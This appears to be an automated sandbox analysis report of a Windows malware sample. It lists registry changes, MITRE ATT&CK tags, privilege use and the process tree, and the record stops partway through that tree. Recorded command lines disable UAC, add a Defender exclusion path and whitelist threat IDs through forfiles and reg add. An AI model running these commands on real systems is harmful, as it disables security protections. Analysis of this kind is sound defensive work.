Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{89FB403F-FD3C-4765-9E61-96954AC90FEF}\WpadDecisionTime = 20cdb2d39ef2da01	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\26-ad-fe-4a-f2-16\WpadDecisionReason = "1"	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	bRkTaNJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cMvOIsW.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{89FB403F-FD3C-4765-9E61-96954AC90FEF}\WpadDecisionReason = "1"	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	bRkTaNJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cMvOIsW.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	bRkTaNJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\26-ad-fe-4a-f2-16	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	bRkTaNJ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000801644a89ef2da01	cMvOIsW.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	bRkTaNJ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	cMvOIsW.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00a760a89ef2da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	bRkTaNJ.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	bRkTaNJ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	bRkTaNJ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	bRkTaNJ.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2764	schtasks.exe
3048	schtasks.exe
2348	schtasks.exe
940	schtasks.exe
2804	schtasks.exe
2868	schtasks.exe
2036	schtasks.exe
1688	schtasks.exe
2220	schtasks.exe
2444	schtasks.exe
2544	schtasks.exe
2720	schtasks.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
2920	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
1724	powershell.exe
2164	powershell.exe
2164	powershell.exe
2164	powershell.exe
2564	powershell.EXE
2564	powershell.EXE
2564	powershell.EXE
944	powershell.EXE
944	powershell.EXE
944	powershell.EXE
1420	powershell.exe
2328	powershell.EXE
2328	powershell.EXE
2328	powershell.EXE
2752	powershell.exe
2752	powershell.exe
2752	powershell.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
3060	powershell.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
1040	powershell.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe
2644	bRkTaNJ.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	2136	regsvcs.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	WMIC.exe
Token: SeSecurityPrivilege	1520	WMIC.exe
Token: SeTakeOwnershipPrivilege	1520	WMIC.exe
Token: SeLoadDriverPrivilege	1520	WMIC.exe
Token: SeSystemProfilePrivilege	1520	WMIC.exe
Token: SeSystemtimePrivilege	1520	WMIC.exe
Token: SeProfSingleProcessPrivilege	1520	WMIC.exe
Token: SeIncBasePriorityPrivilege	1520	WMIC.exe
Token: SeCreatePagefilePrivilege	1520	WMIC.exe
Token: SeBackupPrivilege	1520	WMIC.exe
Token: SeRestorePrivilege	1520	WMIC.exe
Token: SeShutdownPrivilege	1520	WMIC.exe
Token: SeDebugPrivilege	1520	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1520	WMIC.exe
Token: SeRemoteShutdownPrivilege	1520	WMIC.exe
Token: SeUndockPrivilege	1520	WMIC.exe
Token: SeManageVolumePrivilege	1520	WMIC.exe
Token: 33	1520	WMIC.exe
Token: 34	1520	WMIC.exe
Token: 35	1520	WMIC.exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	2564	powershell.EXE
Token: SeDebugPrivilege	944	powershell.EXE
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	1204	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1204	WMIC.exe
Token: SeUndockPrivilege	1204	WMIC.exe
Token: SeManageVolumePrivilege	1204	WMIC.exe
Token: SeDebugPrivilege	2328	powershell.EXE
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2684	WMIC.exe
Token: SeSecurityPrivilege	2684	WMIC.exe
Token: SeTakeOwnershipPrivilege	2684	WMIC.exe
Token: SeLoadDriverPrivilege	2684	WMIC.exe
Token: SeSystemtimePrivilege	2684	WMIC.exe
Token: SeBackupPrivilege	2684	WMIC.exe
Token: SeRestorePrivilege	2684	WMIC.exe
Token: SeShutdownPrivilege	2684	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2684	WMIC.exe
Token: SeUndockPrivilege	2684	WMIC.exe
Token: SeManageVolumePrivilege	2684	WMIC.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	3020	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3020	WMIC.exe
Token: SeSecurityPrivilege	3020	WMIC.exe
Token: SeTakeOwnershipPrivilege	3020	WMIC.exe
Token: SeLoadDriverPrivilege	3020	WMIC.exe
Token: SeSystemtimePrivilege	3020	WMIC.exe
Token: SeBackupPrivilege	3020	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2920	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	29
PID 2200 wrote to memory of 2920	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	29
PID 2200 wrote to memory of 2920	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	29
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2200 wrote to memory of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31
PID 2136 wrote to memory of 2548	2136	regsvcs.exe	34
PID 2136 wrote to memory of 2548	2136	regsvcs.exe	34
PID 2136 wrote to memory of 2548	2136	regsvcs.exe	34
PID 2136 wrote to memory of 2548	2136	regsvcs.exe	34
PID 2136 wrote to memory of 2548	2136	regsvcs.exe	34
PID 2136 wrote to memory of 2548	2136	regsvcs.exe	34
PID 2136 wrote to memory of 2548	2136	regsvcs.exe	34
PID 2548 wrote to memory of 1256	2548	qZPQARSJ2Sg5SA1I4483dKet.exe	35
PID 2548 wrote to memory of 1256	2548	qZPQARSJ2Sg5SA1I4483dKet.exe	35
PID 2548 wrote to memory of 1256	2548	qZPQARSJ2Sg5SA1I4483dKet.exe	35
PID 2548 wrote to memory of 1256	2548	qZPQARSJ2Sg5SA1I4483dKet.exe	35
PID 2548 wrote to memory of 1256	2548	qZPQARSJ2Sg5SA1I4483dKet.exe	35
PID 2548 wrote to memory of 1256	2548	qZPQARSJ2Sg5SA1I4483dKet.exe	35
PID 2548 wrote to memory of 1256	2548	qZPQARSJ2Sg5SA1I4483dKet.exe	35
PID 1256 wrote to memory of 492	1256	Install.exe	36
PID 1256 wrote to memory of 492	1256	Install.exe	36
PID 1256 wrote to memory of 492	1256	Install.exe	36
PID 1256 wrote to memory of 492	1256	Install.exe	36
PID 1256 wrote to memory of 492	1256	Install.exe	36
PID 1256 wrote to memory of 492	1256	Install.exe	36
PID 1256 wrote to memory of 492	1256	Install.exe	36
PID 492 wrote to memory of 1408	492	Install.exe	37
PID 492 wrote to memory of 1408	492	Install.exe	37
PID 492 wrote to memory of 1408	492	Install.exe	37
PID 492 wrote to memory of 1408	492	Install.exe	37
PID 492 wrote to memory of 1408	492	Install.exe	37
PID 492 wrote to memory of 1408	492	Install.exe	37
PID 492 wrote to memory of 1408	492	Install.exe	37
PID 1408 wrote to memory of 1576	1408	cmd.exe	39
PID 1408 wrote to memory of 1576	1408	cmd.exe	39
PID 1408 wrote to memory of 1576	1408	cmd.exe	39
PID 1408 wrote to memory of 1576	1408	cmd.exe	39
PID 1408 wrote to memory of 1576	1408	cmd.exe	39
PID 1408 wrote to memory of 1576	1408	cmd.exe	39
PID 1408 wrote to memory of 1576	1408	cmd.exe	39
PID 1576 wrote to memory of 2756	1576	forfiles.exe	40
PID 1576 wrote to memory of 2756	1576	forfiles.exe	40
PID 1576 wrote to memory of 2756	1576	forfiles.exe	40
PID 1576 wrote to memory of 2756	1576	forfiles.exe	40
PID 1576 wrote to memory of 2756	1576	forfiles.exe	40
PID 1576 wrote to memory of 2756	1576	forfiles.exe	40
PID 1576 wrote to memory of 2756	1576	forfiles.exe	40
PID 2756 wrote to memory of 884	2756	cmd.exe	41
PID 2756 wrote to memory of 884	2756	cmd.exe	41
PID 2756 wrote to memory of 884	2756	cmd.exe	41
PID 2756 wrote to memory of 884	2756	cmd.exe	41
PID 2756 wrote to memory of 884	2756	cmd.exe	41
PID 2756 wrote to memory of 884	2756	cmd.exe	41
PID 2756 wrote to memory of 884	2756	cmd.exe	41

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe

C:\Users\Admin\AppData\Local\Temp\45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe
"C:\Users\Admin\AppData\Local\Temp\45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2200
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2920
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Users\Admin\Pictures\qZPQARSJ2Sg5SA1I4483dKet.exe
    "C:\Users\Admin\Pictures\qZPQARSJ2Sg5SA1I4483dKet.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2548
  - - C:\Users\Admin\AppData\Local\Temp\7zSE418.tmp\Install.exe
      .\Install.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1256
    - - C:\Users\Admin\AppData\Local\Temp\7zSE6B7.tmp\Install.exe
        
        .\Install.exe /RJdidH "385104" /S
        5⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        Suspicious use of WriteProcessMemory
        
        PID:492
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1408
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        7⤵
        Indirect Command Execution
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1576
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2756
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:884
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        7⤵
        Indirect Command Execution
        System Location Discovery: System Language Discovery
        
        PID:2236
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:316
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        9⤵
        
        PID:2584
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        7⤵
        Indirect Command Execution
        System Location Discovery: System Language Discovery
        
        PID:1844
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:808
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:844
        
        C:\Windows\SysWOW64\forfiles.exe
        
